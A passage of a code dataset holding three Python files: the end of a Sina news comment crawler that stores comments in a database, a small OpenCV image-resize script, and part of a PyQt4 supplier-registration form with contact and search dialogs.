,这类p不添加到结果列表中去\n # # print(\"有问题的p: \", result_p[i])\n # result_div[i] = re.sub(\"<.*?>\",\"\",result_div[i])\n # if if_contain_keyword(result_div[i],keyword_list):\n # result_div[i] = \"\"\n # content_result += result_div[i]\n # # print(\"第%d个div: \" % i,result_div[i])\n # else:\n # # print(\"第%d个div: \" % i,result_div[i])\n # if if_contain_keyword(result_div[i],keyword_list):\n # result_div[i] = \"\"\n # content_result += result_div[i]\n # #print(type(content_result))\n # content_result = re.sub(\"
\",\"\",content_result)\n # print(content_result)\n # print('update sinatmp set content=\\'%s\\' where id = %d;' % (content_result, int(dict[\"id\"])))\n # operate_with_sql('update sinatmp set content=%s where id=%s;',(content_result, int(dict[\"id\"])))\n # # operate_with_sql(\"update sinatmp \")\n # except Exception as ex:\n # print(\"id=\",dict[\"id\"],\" \",ex)\n # continue\n\ndef crawl_comments(filename):\n\n #---------------------载入映射关系------------------------\n #获取不同新闻板块,如news,tech对应的json的url中的channel,finance对应cj\n mapping_dict = {}\n f = open(filename,encoding='utf-8')\n line = ' '\n while line:\n line = f.readline()\n # print(line)\n tmp_list = line.split(',')\n if len(tmp_list) == 2 and tmp_list[1].replace('\\n', ''):\n mapping_dict[tmp_list[0]] = tmp_list[1].replace('\\n','')\n f.close()\n # print(mapping_dict,\"\\n\",len(mapping_dict))\n\n\n # ---------------------获取评论数------------------------\n # 获取评论数,如果评论数<=20,则只需要爬取一页,url只需要传入两个参数(channel,newsid),\n # 如果评论数>20,则需要爬取多页,url要传入三个参数(channel,newsid,page)\n reg_site = \"http://(.+?)\\.\"\n # result = select(\"select * from sinatmp where newsTime>\\\"2015-01-01\\\" and comments is null and link like '%doc-%';\")#newsTime>\\\"2015-01-01\\\" and comments is null\n result = select(\"select * from sinatmp where comments is null and newsTime >=2010 and link like '%//sports%';\")\n # url_pattern_first = \"http://comment5.news.sina.com.cn/page/info?version=1&format=js\" \\\n # \"&channel=%s&newsid=comos-%s&group=0&compress=0&ie=gbk&oe=gbk&page=1&page_size=20\"\n # url_pattern_loop = \"http://comment5.news.sina.com.cn/page/info?version=1&format=js\" \\\n # \"&channel=%s&newsid=comos-%s&group=0&compress=0&ie=gbk&oe=gbk&page=%s&page_size=20\"\n url_pattern_first = \"http://comment5.news.sina.com.cn/page/info?version=1&format=js&channel=%s&newsid=6-1234-%s&\" \\\n \"group=&compress=0&ie=gbk&oe=gbk&page=1&page_size=20\"\n\n url_pattern_loop = \"http://comment5.news.sina.com.cn/page/info?version=1&format=js\" \\\n \"&channel=%s&newsid=6-1234-%s&group=0&compress=0&ie=gbk&oe=gbk&page=%s&page_size=20\"\n # print(result)\n print(\"待爬取的新闻数量:\", len(result))\n for i in range(len(result)):\n print(\"news_id: \", result[i][\"id\"])\n time.sleep(random.uniform(1.5, 2.5))\n try:\n comments_total = '' #要插入到数据库里的评论\n comment_time_total = '' #要插入到数据库里的评论时间\n comments_list = []\n comment_time_list = []\n link = result[i][\"link\"]\n print(\"link: \", link)\n site_name = re.findall(reg_site, link)[0]\n channel = mapping_dict[site_name]\n url = json_url_generator(link, [channel], url_pattern_first)\n print(\"url: \", url)\n json_code = get_code(url)\n comment_num = re.findall('(?<=\"show\": )\\d+', json_code)[0] #从json获取评论总数\n print(\"comment_num:\", comment_num)\n\n para_pageNum = math.ceil(int(comment_num) / 20) #计算页数\n # print(\"type:\", type(para_pageNum))\n print(\"para_pageNum: \", para_pageNum)\n\n\n # ---------------------爬取评论------------------------\n # 如果评论少于20条,则只需爬取一页,如果多于20条,则需要循环爬取多页\n if int(comment_num) == 0:\n # operate_with_sql(\"update sinatmp set comments=%s,comTime=%s where id=%s\",('', '', result[i][\"id\"]))\n print(\"无评论!\")\n\n if int(comment_num) >=1 and para_pageNum == 1:\n #获取评论内容,json链接包含热评和历史评论,这里的cmntlist是历史评论\n cmntlist = re.findall('\"cmntlist\":.*?\"news\": {\"status\"',json_code)[0]\n print(\"cmnt: \",cmntlist)\n\n #评论转码以及时间格式转换\n comments = unicode2str(re.findall('\"content\": \"(.*?)\"', cmntlist))\n comment_time = trans_time_format(re.findall('\"time\": \"([\\d-]*)', cmntlist)) #\\d{4}-\\d{2}-\\d{2}\n print(\"comments: \", comments,\"\\n\",\"comment_time: \", comment_time)\n comment_time_total = \"#$#\".join(comment_time)\n comments_total = \"#$#\".join(comments)\n\n if para_pageNum > 1:\n for page in range(1, int(para_pageNum + 1)):\n #生成url\n url_loop = json_url_generator(link, [channel, page], url_pattern_loop) #将channel改成了live(7x24)\n print(\"page: \", page,\" url_loop: \", url_loop)\n\n #获取评论内容,json链接包含热评和历史评论,这里的cmntlist是历史评论\n if para_pageNum >5:#避免爬取过快返回错误信息的json\n time.sleep(random.uniform(2.0, 2.9))\n json_code_loop = get_code(url_loop)\n print(\"json_code_loop: \", json_code_loop)\n cmntlist = re.findall('\"cmntlist\":.*?\"news\": {\"status\"',json_code_loop)[0]\n print(\"cmntlist: \", cmntlist)\n\n #评论转码以及时间格式转换\n comments = unicode2str(re.findall('\"content\": \"(.*?)\"', cmntlist))\n comment_time = trans_time_format(re.findall('\"time\": \"([\\d-]*)', cmntlist))\n print(\"comments: \", comments, \"\\n\", \"comment_time: \", comment_time)\n comments_list = comments_list + comments\n comment_time_list = comment_time_list + comment_time\n\n comments_total = \"#$#\".join(comments_list)\n comment_time_total = \"#$#\".join(comment_time_list)\n\n reg_emoji = re.compile(u'[\\uD0000-\\uDBFF][\\uDC00-\\uDFFF]')\n comments_total = reg_emoji.sub('',comments_total)\n print(\"评论数:\", len(comments_total.split('#$#')),\"; 评论时间数:\",len(comment_time_total.split('#$#')),\"\\ncomments_total:\",comments_total,\"\\n\",\"comment_time_total:\",comment_time_total)\n operate_with_sql(\"update sinatmp set comments=%s,comTime=%s where id=%s\",(comments_total,comment_time_total,result[i][\"id\"]))\n print(\"update操作成功\\n\\n\")\n\n # print(\"评论数\",len(comments_total.split('#$#')),comments_total,'\\n',\"时间数\",len(comment_time_total.split('#$#')),comment_time_total)\n except Exception as ex:\n print(\"#######exception#######\\n\",ex,\"\\n\")\n continue\n # raise ex\n\n#时间wb_time=2018-09-09 22:21:38&\n#内容\"content\": \"\\u534e\\u4e3a\\u4e0d\\u4e00\\u6837\\u5417\\uff0c\\u624b\\u673a\\u96f6\\u90e8\\u4ef6\\u5168\\u662f\\u4e70\\u7684\\uff0c\\u5c0f\\u7c73\\u7684\\u5de5\\u8d44\\u4e0d\\u6bd4\\u534e\\u4e3a\\u4f4e\\u554a\"\n\n\n#link-doc\n\n\n\n\nif __name__ == '__main__':\n\n while(len(select(\"select * from sinatmp where comments is null and newsTime >=2010 and link like '%//games%';\"))>0):\n crawl_comments('mapping4.txt')\n crawl_comments('mapping.txt')\n crawl_comments('mapping2.txt')\n crawl_comments('mapping3.txt')\n","sub_path":"spider_/sina/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":13953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"203827085","text":"import argparse\n\nimport cv2\n\nfrom imutils import resize\n# python resize.py --image ../../OpenCV_Basic_Exercises/images/image1.jpg\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True)\nargs = vars(ap.parse_args())\n\nimage = cv2.imread(args[\"image\"])\ncv2.imshow(\"Original\", image)\n\nsized_150 = resize(image, width=150)\ncv2.imshow(\"Width 150\", sized_150)\n\nsized_height_50 = resize(image, height=50)\ncv2.imshow(\"Height 50\", sized_height_50)\n\ncv2.waitKey(0)\n","sub_path":"ex1/resize.py","file_name":"resize.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"418765479","text":"import sys\nfrom PyQt4 import QtGui, QtCore\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nfrom classes.classMensagemBox import MensagemBox\nfrom classes.classValidator import Validator\nfrom controller.getSetContatoEmail import ContatoEmail\nfrom controller.getSetContatoTelefone import ContatoTelefone\nfrom controller.getSetFornecedor import Fornecedor\nfrom controller.getSetPessoaFisica import PessoaFisica\nfrom controller.getSetPessoaJuridica import PessoaJuridica\nfrom dao.empresaDao import EmpresaDao\nfrom dao.fornecedorDao import FornecedorDao\nfrom dao.pesquisarPessoaFisicaDao import PesquisarPessoaFisicaDao\nfrom dao.pesquisarPessoaJuridicaDao import PesquisarPessoaJuridicaDao\nfrom telas.frmCadFornecedor import Ui_frmCadastroFornecedor\nfrom telas.frmPesquisarFornecedor import Ui_frmPesquisarFornecedor\nfrom telas.frmPesquisarPessoaFisicaJuridica import Ui_frmPesquisarPessoaFisicaJuridica\n\n\nclass CadastroFornecedores(QtGui.QDialog):\n def __init__(self, cadatra, cancela, deleta, edita):\n QtGui.QDialog.__init__(self)\n self.ui = Ui_frmCadastroFornecedor()\n self.ui.setupUi(self)\n self.validator = Validator()\n self.mensagem = MensagemBox()\n self.idFornecedor = int()\n self.idPessoa = int()\n self.idPessoaFisica = int()\n self.idPessoaJurirdica = int()\n self.editar = False\n self.contatoAdd = []\n self.contatoRemove = []\n self.contatoAtualizar = []\n self.emailAdd = []\n self.emailRemove = []\n self.emailAtualizar = []\n self.cada = cadatra\n self.canc = cancela\n self.dele = deleta\n self.edit = edita\n\n self.ui.btnNovo.setEnabled(self.cada)\n\n self.ui.txtContatoEmail.setValidator(self.validator)\n self.ui.txtContatoTelefone.setValidator(self.validator)\n self.ui.txtEnderecoEmail.setValidator(self.validator)\n\n self.ui.btnNovo.clicked.connect(self.novo)\n self.ui.btnSalvar.clicked.connect(self.cadastro)\n self.ui.btnCancelar.clicked.connect(self.cancelar)\n self.ui.btnEditar.clicked.connect(self.atualizar)\n self.ui.btnDeletar.clicked.connect(self.deletar)\n self.ui.btnPesquisarEmpresa.clicked.connect(self.pesquisarPessoaFisicaJuridica)\n\n\n self.ui.txtCodigo.textChanged.connect(self.numberCodigo)\n self.ui.txtNumeroTelefone.textChanged.connect(self.numberTelefone)\n self.ui.txtObservacao.textChanged.connect(self.textEdite)\n\n self.ui.radBtnPessoaFisica.clicked.connect(self.botaoNovo)\n self.ui.radBtnPessoaJuridica.clicked.connect(self.botaoNovo)\n\n self.ui.btnAddTelefone.clicked.connect(self.addContatoTelefone)\n self.ui.btnRemoverTelefone.clicked.connect(self.delContatoTelefone)\n\n self.ui.btnAddEmail.clicked.connect(self.addContatoEmail)\n self.ui.btnRemoverEmail.clicked.connect(self.delContatoEmail)\n\n self.ui.txtCodigo.returnPressed.connect(self.setCliente)\n\n self.ui.txtCodigo.editingFinished.connect(self.setClienteEditFinish)\n\n\n def numberCodigo(self):\n if self.ui.txtCodigo.text().isnumeric() == False:\n self.ui.txtCodigo.backspace()\n\n def numberTelefone(self):\n if self.ui.txtNumeroTelefone.text().isnumeric() == False:\n self.ui.txtNumeroTelefone.backspace()\n\n def textEdite(self):\n if (len(self.ui.txtObservacao.toPlainText()) > 255):\n self.ui.txtObservacao.textCursor().deletePreviousChar()\n\n def novo(self):\n __pesDao = EmpresaDao()\n __retorno = __pesDao.pesquisaCodigoFrom()\n if __retorno != []:\n self.limparCampos()\n self.ui.grbTipoPessoa.setEnabled(self.cada)\n self.ui.radBtnPessoaFisica.setCheckable(self.cada)\n self.ui.radBtnPessoaJuridica.setCheckable(self.cada)\n self.ui.btnNovo.setEnabled(False)\n self.ui.btnSalvar.setEnabled(self.cada)\n self.ui.btnEditar.setEnabled(False)\n self.ui.btnCancelar.setEnabled(self.canc)\n self.ui.btnDeletar.setEnabled(False)\n else:\n MensagemBox().warning('Atenção', \"Cadastre uma empresa primeiro\")\n\n def botaoNovo(self):\n self.ui.txtCodigo.clear()\n self.ui.txtCnpj.clear()\n self.ui.txtInscricaoEstadua.clear()\n self.ui.txtRazaoSocial.clear()\n self.ui.txtFantasia.clear()\n\n self.ui.grbDadosPessoaFisicaJuridica.setEnabled(True)\n self.ui.tabWiAdicionais.setEnabled(True)\n\n self.deletarContatoTelefone()\n self.deletarContatoEmail()\n\n\n def cancelar(self):\n self.limparCampos()\n self.deletarContatoTelefone()\n self.deletarContatoEmail()\n self.desativarCampos()\n\n def desativarCampos(self):\n self.ui.grbDadosPessoaFisicaJuridica.setEnabled(False)\n self.ui.tabWiAdicionais.setEnabled(False)\n self.ui.btnNovo.setEnabled(self.cada)\n self.ui.btnSalvar.setEnabled(False)\n self.ui.btnEditar.setEnabled(False)\n self.ui.btnCancelar.setEnabled(False)\n self.ui.btnDeletar.setEnabled(False)\n\n def botoesEditar(self):\n self.ui.grbDadosPessoaFisicaJuridica.setEnabled(False)\n self.limparCampos()\n self.ui.grbTipoPessoa.setEnabled(False)\n self.ui.radBtnPessoaFisica.setCheckable(self.edit)\n self.ui.radBtnPessoaJuridica.setCheckable(self.edit)\n self.ui.grbAtivo.setEnabled(self.edit)\n self.ui.radBtnAtivo.setCheckable(self.edit)\n self.ui.radBtnDesativo.setCheckable(self.edit)\n self.ui.tabWiAdicionais.setEnabled(self.edit)\n self.ui.btnNovo.setEnabled(False)\n self.ui.btnSalvar.setEnabled(False)\n self.ui.btnEditar.setEnabled(self.edit)\n self.ui.btnCancelar.setEnabled(self.canc)\n self.ui.btnDeletar.setEnabled(self.dele)\n\n def ativarCampos(self):\n self.ui.grbDadosPessoaFisicaJuridica.setEnabled(self.cada)\n self.ui.tabWiAdicionais.setEnabled(self.cada)\n self.ui.btnNovo.setEnabled(False)\n self.ui.btnSalvar.setEnabled(self.cada)\n self.ui.btnEditar.setEnabled(False)\n self.ui.btnCancelar.setEnabled(self.canc)\n self.ui.btnDeletar.setEnabled(False)\n\n\n def limparCampos(self):\n self.idFornecedor = int()\n self.idPessoa = int()\n self.idPessoaFisica = int()\n self.idPessoaJurirdica = int()\n self.ui.grbTipoPessoa.setEnabled(True)\n self.ui.radBtnPessoaFisica.setCheckable(False)\n self.ui.radBtnPessoaJuridica.setCheckable(False)\n self.ui.grbTipoPessoa.setEnabled(False)\n self.ui.txtCodigo.setEnabled(True)\n self.ui.btnPesquisarEmpresa.setEnabled(True)\n self.editar = False\n self.ui.txtCodigo.clear()\n self.ui.txtCnpj.clear()\n self.ui.txtInscricaoEstadua.clear()\n self.ui.txtRazaoSocial.clear()\n self.ui.txtFantasia.clear()\n\n self.ui.txtObservacao.clear()\n\n self.ui.txtContatoTelefone.clear()\n self.ui.txtNumeroTelefone.clear()\n self.ui.txtEnderecoEmail.clear()\n self.ui.txtContatoEmail.clear()\n\n\n self.contatoAdd.clear()\n self.contatoRemove.clear()\n self.contatoAtualizar.clear()\n self.emailAdd.clear()\n self.emailRemove.clear()\n self.emailAtualizar.clear()\n\n self.deletarContatoTelefone()\n self.deletarContatoEmail()\n\n self.ui.tabWiAdicionais.setCurrentIndex(0)\n\n self.ui.radBtnAtivo.setCheckable(False)\n self.ui.radBtnDesativo.setCheckable(False)\n\n def deletarContatoTelefone(self):\n for i in reversed(range(self.ui.tabContatoTelefone.rowCount())):\n self.ui.tabContatoTelefone.removeRow(i)\n\n def deletarContatoEmail(self):\n for i in reversed(range(self.ui.tabContatoEmail.rowCount())):\n self.ui.tabContatoEmail.removeRow(i)\n\n def addContatoTelefone(self):\n\n if self.ui.txtContatoTelefone.text() != \"\" and self.ui.txtNumeroTelefone.text() != \"\":\n if len(self.ui.txtNumeroTelefone.text()) == 10 or len(self.ui.txtNumeroTelefone.text()) == 11:\n __contato = str(self.ui.txtContatoTelefone.text())\n __telefone = str(self.ui.txtNumeroTelefone.text())\n if self.editar == False:\n add = [(__contato, __telefone)]\n self.contatoAdd.append([__contato, __telefone])\n self.inserirTabelaTelefone(add)\n\n elif self.editar == True:\n add = [(__contato, __telefone)]\n self.contatoAtualizar.append([__contato, __telefone])\n self.inserirTabelaTelefone(add)\n\n self.ui.txtContatoTelefone.clear()\n self.ui.txtNumeroTelefone.clear()\n\n self.ui.txtContatoTelefone.setFocus()\n elif len(self.ui.txtNumeroTelefone.text()) >11:\n self.mensagem.warning( 'Mensagem', \"Atenção contem digitos do telefone a mais\")\n else:\n self.mensagem.warning( 'Mensagem', \"Atenção esta faltando digitos do telefone\")\n else:\n self.mensagem.warning( 'Mensagem', \"Por favor preencha os campos de contato e telefone\")\n\n def inserirTabelaTelefone(self, dado):\n\n linha = self.ui.tabContatoTelefone.rowCount()\n for info in dado:\n self.ui.tabContatoTelefone.insertRow(linha)\n __contato = info[0]\n __telefone = info[1]\n\n\n self.ui.tabContatoTelefone.setItem(linha, 0, QtGui.QTableWidgetItem(str(__contato)))\n self.ui.tabContatoTelefone.setItem(linha, 1, QtGui.QTableWidgetItem(str(__telefone)))\n\n\n linha += 1\n\n def cellClickTelefone(self):\n index = self.ui.tabContatoTelefone.currentRow()\n list=[]\n columcount = self.ui.tabContatoTelefone.columnCount()\n row = self.ui.tabContatoTelefone.currentItem().row()\n for x in range(0, columcount, 1):\n cell =self.ui.tabContatoTelefone.item(row, x).text()\n list.append(cell)\n\n if list in self.contatoAtualizar:\n self.contatoAtualizar.remove(list)\n self.ui.tabContatoTelefone.removeRow(index)\n else:\n self.ui.tabContatoTelefone.removeRow(index)\n if index >= 0:\n self.contatoRemove.append(self.contatoAdd[index])\n del self.contatoAdd[index]\n else:\n MensagemBox().warning( 'Mensagem',\"Impossivel realizar essa ação, por favor selecione um item da lista para excluir\")\n\n def delContatoTelefone(self):\n index = self.ui.tabContatoTelefone.currentRow()\n\n if self.editar == False:\n self.ui.tabContatoTelefone.removeRow(index)\n if index >= 0:\n del self.contatoAdd[index]\n else:\n MensagemBox().warning('Mensagem', \"Impossivel realizar essa ação, por favor selecione um item da lista para excluir\")\n elif self.editar == True:\n self.cellClickTelefone()\n\n def inserirTabelaEmail(self, dado):\n\n linha = self.ui.tabContatoEmail.rowCount()\n for info in dado:\n self.ui.tabContatoEmail.insertRow(linha)\n __contato = info[0]\n __email = info[1]\n\n self.ui.tabContatoEmail.setItem(linha, 0, QtGui.QTableWidgetItem(str(__contato)))\n self.ui.tabContatoEmail.setItem(linha, 1, QtGui.QTableWidgetItem(str(__email)))\n\n linha += 1\n\n def addContatoEmail(self):\n if self.ui.txtContatoEmail.text() != \"\" and self.ui.txtEnderecoEmail.text() != \"\":\n __contato = str(self.ui.txtContatoEmail.text())\n __email = str(self.ui.txtEnderecoEmail.text())\n if self.editar == False:\n add = [(__contato, __email)]\n self.emailAdd.append([__contato, __email])\n self.inserirTabelaEmail(add)\n\n elif self.editar == True:\n add = [(__contato, __email)]\n self.emailAtualizar.append([__contato, __email])\n self.inserirTabelaEmail(add)\n\n self.ui.txtContatoEmail.clear()\n self.ui.txtEnderecoEmail.clear()\n\n self.ui.txtContatoEmail.setFocus()\n else:\n self.mensagem.warning( 'Mensagem', \"Por favor preencha os campos de contato e telefone\")\n\n def cellClickEmail(self):\n index = self.ui.tabContatoEmail.currentRow()\n list = []\n columcount = self.ui.tabContatoEmail.columnCount()\n row = self.ui.tabContatoEmail.currentItem().row()\n for x in range(0, columcount, 1):\n cell = self.ui.tabContatoEmail.item(row, x).text()\n list.append(cell)\n\n if list in self.emailAtualizar:\n self.emailAtualizar.remove(list)\n self.ui.tabContatoEmail.removeRow(index)\n else:\n self.ui.tabContatoEmail.removeRow(index)\n if index >= 0:\n self.emailRemove.append(self.emailAdd[index])\n del self.emailAdd[index]\n else:\n MensagemBox().warning('Mensagem', \"Impossivel realizar essa ação, por favor selecione um item da lista para excluir\")\n\n\n def delContatoEmail(self):\n index = self.ui.tabContatoEmail.currentRow()\n\n if self.editar == False:\n self.ui.tabContatoEmail.removeRow(index)\n if index >= 0:\n del self.emailAdd[index]\n else:\n MensagemBox().warning('Mensagem', \"Impossivel realizar essa ação, por favor selecione um item da lista para excluir\")\n elif self.editar == True:\n self.cellClickEmail()\n\n def setCliente(self):\n cliente = FornecedorDao()\n pesDao = EmpresaDao()\n if self.ui.radBtnPessoaFisica.isChecked():\n cli = cliente.pesquisarFornecedorIdFisico(self.ui.txtCodigo.text())\n emp = pesDao.pesquisaEmpresaJuridica(self.ui.txtCodigo.text())\n if emp == []:\n if cli == []:\n clien = cliente.pesquisarPessoaFisica(self.ui.txtCodigo.text())\n if clien == []:\n self.mensagem.warning('Mensagem', \"Atenção não existe nenhum cadastro neste codigo\")\n self.ui.txtCnpj.clear()\n self.ui.txtInscricaoEstadua.clear()\n self.ui.txtRazaoSocial.clear()\n self.ui.txtFantasia.clear()\n else:\n for empres in clien:\n self.ui.txtCnpj.setText(str(empres[0]))\n self.ui.txtInscricaoEstadua.setText(str(empres[1]))\n self.ui.txtRazaoSocial.setText(str(empres[2]))\n self.ui.txtFantasia.setText(str(empres[3]))\n else:\n self.mensagem.warning( 'Mensagem', \"Atenção já tem um cadastro deste cliente\")\n else:\n self.mensagem.warning('Mensagem', \"Atenção já tem um cadastro como empresa não poder ser fornecedor\")\n\n elif self.ui.radBtnPessoaJuridica.isChecked():\n cli = cliente.pesquisarFornecedorIdJuridico(self.ui.txtCodigo.text())\n emp = pesDao.pesquisaEmpresaJuridica(self.ui.txtCodigo.text())\n if emp == []:\n if cli == []:\n clien = cliente.pesquisarPessoaJuridica(self.ui.txtCodigo.text())\n if clien == []:\n self.mensagem.warning('Mensagem', \"Atenção não existe nenhum cadastro neste codigo\")\n self.ui.txtCnpj.clear()\n self.ui.txtInscricaoEstadua.clear()\n self.ui.txtRazaoSocial.clear()\n self.ui.txtFantasia.clear()\n else:\n for empres in clien:\n self.ui.txtCnpj.setText(str(empres[0]))\n self.ui.txtInscricaoEstadua.setText(str(empres[1]))\n self.ui.txtRazaoSocial.setText(str(empres[2]))\n self.ui.txtFantasia.setText(str(empres[3]))\n else:\n self.mensagem.warning( 'Mensagem', \"Atenção já tem um cadastro deste cliente\")\n else:\n self.mensagem.warning('Mensagem', \"Atenção já tem um cadastro como empresa não poder ser fornecedor\")\n\n def setClienteEditFinish(self):\n cliente = FornecedorDao()\n pesDao = EmpresaDao()\n if self.ui.radBtnPessoaFisica.isChecked():\n cli = cliente.pesquisarFornecedorIdFisico(self.ui.txtCodigo.text())\n emp = pesDao.pesquisaEmpresaJuridica(self.ui.txtCodigo.text())\n if emp == []:\n if cli == []:\n clien = cliente.pesquisarPessoaFisica(self.ui.txtCodigo.text())\n if clien == []:\n self.ui.txtCnpj.clear()\n self.ui.txtInscricaoEstadua.clear()\n self.ui.txtRazaoSocial.clear()\n self.ui.txtFantasia.clear()\n else:\n for empres in clien:\n self.ui.txtCnpj.setText(str(empres[0]))\n self.ui.txtInscricaoEstadua.setText(str(empres[1]))\n self.ui.txtRazaoSocial.setText(str(empres[2]))\n self.ui.txtFantasia.setText(str(empres[3]))\n\n elif self.ui.radBtnPessoaJuridica.isChecked():\n cli = cliente.pesquisarFornecedorIdJuridico(self.ui.txtCodigo.text())\n emp = pesDao.pesquisaEmpresaJuridica(self.ui.txtCodigo.text())\n if emp == []:\n if cli == []:\n clien = cliente.pesquisarPessoaJuridica(self.ui.txtCodigo.text())\n if clien == []:\n self.ui.txtCnpj.clear()\n self.ui.txtInscricaoEstadua.clear()\n self.ui.txtRazaoSocial.clear()\n self.ui.txtFantasia.clear()\n else:\n for empres in clien:\n self.ui.txtCnpj.setText(str(empres[0]))\n self.ui.txtInscricaoEstadua.setText(str(empres[1]))\n self.ui.txtRazaoSocial.setText(str(empres[2]))\n self.ui.txtFantasia.setText(str(empres[3]))\n\n def pesquisarPessoaFisicaJuridica(self):\n self.dialogFisicoJuridico = QDialog(self)\n self.__pesquisarFisicaJuridica = Ui_frmPesquisarPessoaFisicaJuridica()\n self.__pesquisarFisicaJuridica.setupUi(self.dialogFisicoJuridico)\n self.colunasTabela()\n self.__pesquisarFisicaJuridica.txtPesquisar.setValidator(self.validator)\n\n self.__pesquisarFisicaJuridica.txtPesquisar.returnPressed.connect(self.pesquisarFisicoJuridico)\n\n self.__pesquisarFisicaJuridica.btnPesquisar.clicked.connect(self.pesquisarFisicoJuridico)\n\n self.__pesquisarFisicaJuridica.tabPesquisar.doubleClicked.connect(self.setarCamposFisicoJuridico)\n\n self.dialogFisicoJuridico.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n self.dialogFisicoJuridico.exec_()\n\n def colunasTabela(self):\n if self.ui.radBtnPessoaFisica.isChecked():\n self.__pesquisarFisicaJuridica.tabPesquisar.setColumnCount(18)\n self.__pesquisarFisicaJuridica.tabPesquisar.setRowCount(0)\n self.__pesquisarFisicaJuridica.tabPesquisar.setHorizontalHeaderLabels([\"Cod.\", \"Nome\", \"Apelido\", \"CPF\", \"RG\", \"Expeditor\", \"UF\", \"Aniversario\", \"Sexo\", \"Mãe\", \"Pai\", \"Endereço\", \"Número\", \"Complemento\", \"Bairro\", \"Cidade\", \"Estado\", \"CEP\"])\n elif self.ui.radBtnPessoaJuridica.isChecked():\n self.__pesquisarFisicaJuridica.tabPesquisar.setColumnCount(12)\n self.__pesquisarFisicaJuridica.tabPesquisar.setRowCount(0)\n self.__pesquisarFisicaJuridica.tabPesquisar.setHorizontalHeaderLabels([\"Cod.\", \"Razão Social\", \"Fantasia\", \"CNPJ\", \"Ins. Estadual\", \"Endereço\", \"Número\", \"Complemento\", \"Bairro\", \"Cidade\" , \"Estado\", \"CEP\"])\n\n\n def pesquisarFisicoJuridico(self):\n if self.__pesquisarFisicaJuridica.radBtnCodigo.isChecked():\n if self.ui.radBtnPessoaFisica.isChecked():\n __codigo = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaFisicaDao()\n __retorno = __pesDao.pesquisaCodigo(__codigo)\n self.setarTabelaPesquisaFisica(__retorno)\n elif self.ui.radBtnPessoaJuridica.isChecked():\n __codigo = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaJuridicaDao()\n __retorno = __pesDao.pesquisaCodigo(__codigo)\n self.setarTabelaPesquisaJuridico(__retorno)\n elif self.__pesquisarFisicaJuridica.radBtnRazaoSocial.isChecked():\n if self.ui.radBtnPessoaFisica.isChecked():\n __razao = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaFisicaDao()\n __retorno = __pesDao.pesquisaNome(__razao)\n self.setarTabelaPesquisaFisica(__retorno)\n elif self.ui.radBtnPessoaJuridica.isChecked():\n __razao = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaJuridicaDao()\n __retorno = __pesDao.pesquisaRazaoSocial(__razao)\n self.setarTabelaPesquisaJuridico(__retorno)\n\n elif self.__pesquisarFisicaJuridica.radBtnFantasia.isChecked():\n if self.ui.radBtnPessoaFisica.isChecked():\n __fantasia = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaFisicaDao()\n __retorno = __pesDao.pesquisaApelido(__fantasia)\n self.setarTabelaPesquisaFisica(__retorno)\n elif self.ui.radBtnPessoaJuridica.isChecked():\n __fantasia = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaJuridicaDao()\n __retorno = __pesDao.pesquisaFantasia(__fantasia)\n self.setarTabelaPesquisaJuridico(__retorno)\n elif self.__pesquisarFisicaJuridica.radBtnCnpj.isChecked():\n if self.ui.radBtnPessoaFisica.isChecked():\n __cnpj = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaFisicaDao()\n __retorno = __pesDao.pesquisaCpf(__cnpj)\n self.setarTabelaPesquisaFisica(__retorno)\n elif self.ui.radBtnPessoaJuridica.isChecked():\n __cnpj = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaJuridicaDao()\n __retorno = __pesDao.pesquisaCnpj(__cnpj)\n self.setarTabelaPesquisaJuridico(__retorno)\n\n elif self.__pesquisarFisicaJuridica.radBtnInsEstadual.isChecked():\n if self.ui.radBtnPessoaFisica.isChecked():\n __inscricao = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaFisicaDao()\n __retorno = __pesDao.pesquisaRg(__inscricao)\n self.setarTabelaPesquisaFisica(__retorno)\n elif self.ui.radBtnPessoaJuridica.isChecked():\n __inscricao = self.__pesquisarFisicaJuridica.txtPesquisar.text()\n __pesDao = PesquisarPessoaJuridicaDao()\n __retorno = __pesDao.pesquisaInsEstadual(__inscricao)\n self.setarTabelaPesquisaJuridico(__retorno)\n\n else:\n self.mensagem.warning( 'Atenção', \"Selecione uma das opções de pesquisa\")\n\n\n def setarTabelaPesquisaFisica(self, __retorno):\n qtde_registros = len(__retorno)\n self.__pesquisarFisicaJuridica.tabPesquisar.setRowCount(qtde_registros)\n\n linha = 0\n for pesqui in __retorno:\n # capturando os dados da tupla\n\n codigo = pesqui[0]\n nome = pesqui[1]\n apelido = pesqui[2]\n cpf = pesqui[3]\n rg = pesqui[4]\n expeditor = pesqui[5]\n uf = pesqui[6]\n aniversario = pesqui[7]\n sexo = pesqui[8]\n mae = pesqui[9]\n pai = pesqui[10]\n endereco = pesqui[11]\n numero = pesqui[12]\n complemento = pesqui[13]\n bairro = pesqui[14]\n cidade = pesqui[15]\n estado = pesqui[16]\n cep = pesqui[17]\n\n\n # preenchendo o grid de pesquisa\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 0, QtGui.QTableWidgetItem(str(codigo)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 1, QtGui.QTableWidgetItem(str(nome)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 2, QtGui.QTableWidgetItem(str(apelido)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 3, QtGui.QTableWidgetItem(str(cpf)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 